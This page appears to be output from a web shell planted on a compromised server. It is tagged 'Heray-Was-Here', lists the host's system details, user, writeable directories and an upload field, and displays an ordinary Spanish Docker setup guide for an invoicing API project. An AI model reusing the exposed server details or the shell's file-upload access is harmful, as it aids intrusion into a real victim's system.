Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/facapi44/API_Hacienda/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/facapi44/API_Hacienda/docker-compose.md
# Resumen

La implementación provista de docker y docker compose, su propósito es proveer una forma rápida de acceder al API. Por favor, nótese que estos contenedores no están optimizados para producción.

# Instalación

## Windows

En el caso de Windows es necesario instalar _Docker desktop on Windows_ el cual puede ser descargado desde https://docs.docker.com/docker-for-windows/install/ este mismo incluye _Docker Compose_

Adicionalmente el contenedor utiliza volúmenes, estos volúmenes requieren que se le de acceso al disco duro.
En el momento de este escrito, eso se puede lograr en la ventana de _Settings_ en el _tab_ de _Shared Drivers_ y seleccionando las unidades que el servicio de docker puede tener disponibles.

- Docker for Windows
- User have to grant permission for accessing hard drive

## Linux

La instalación de _Docker_ varia dependiendo de la distribución. Lo importante es instalar _docker_ y _docker compose_.

En este caso los siguientes commandos son normalmente utilizados en Ubuntu (Linux):

`sudo apt install docker`

`sudo apt install docker-compose`

# Ejecución

Existen varias herramientas que podrían iniciar los contenedores. Después de haber instalado los productos, normalmente se puede ejecutar comandos para arrancar la configuración de los contenedores.

1. Crear file con nombre `settings.php` dentro de carpeta `www`

   Este archivo `settings.php` sera persistido con un volumen de docker para no perder las referencias ni de los files uploaded ni de la crypto key para poder usar la misma base datos sin perder ninguna data aunque reiniciemos o le hagamos down a los contenedores.

   Solo se crea este `settings.php` la primera vez que vas a abrir el proyecto con docker o si eliminaste el archivo anteriormente.

2. Iniciar Contenedores:

`docker-compose -f "docker-compose.yml" up -d`

3. Detener Contenedores

`docker-compose -f "docker-compose.yml" down`

# Solución a Problemas Frecuentes

1. How to fix ERROR: Couldn’t connect to Docker daemon at http+docker://localhost – is it running?
   En linux puede que el siguiente error podría aparecer

`ERROR: Couldn’t connect to Docker daemon at http+docker://localhost – is it running?`

Según https://techoverflow.net/2019/03/16/how-to-fix-error-couldnt-connect-to-docker-daemon-at-httpdocker-localhost-is-it-running/ este error se debe a que el usuario que está ejecutando _docker_ no pertenece a los usuarios que pueden ejecutar docker. En ubuntu (y posiblemente sistemas basados en linux) basta con agregar al usuario al grupo de usuarios: _docker_

Esto se puede lograr en una terminal al ejecutar los siguientes commands:

Agrega el usuario actual al grupo docker
`sudo usermod -a -G docker $USER `

Reinicia el servicio de docker
`sudo systemctl enable docker `
`sudo systemctl start docker`

2. No encuentra archivos

En ocasiones podría pasar mostrarse el siguiente error:

`standard_init_linux.go:211: exec user process caused "no such file or directory"`

Esto podría pasar por ejemplo si los archivos se editan en Windows OS y se ejecutan en Linux. El sistema de codificación de archivos de texto de cada sistema operativo es diferente, y en ocasiones imposibilita la lectura o ejecución de los mismos.

Para convertir los archivos a un formato compatible hay varias opciones. Abrir el archivo y guardarlo en el formato correcto o si esta en linux utilizar el commando `dos2unix`.
Por ejemplo el siguiente script de bash podría hacer la modificación :

`` sudo apt install dos2unix && for i in `find .`; do dos2unix $i; done ``

3. No encuentra el archivo `settings.php`

Asegúrate de crear el archivo `settings.php` dentro de la carpeta `www`. Solo se hace la primera vez que vas a abrir el proyecto con docker o si eliminaste el archivo anteriormente.

# Verificando la ejecución del contenedor

La forma más simple es intentar abrir el URI:

`http://localhost:8080/api.php?w=ejemplo&r=hola`

Hry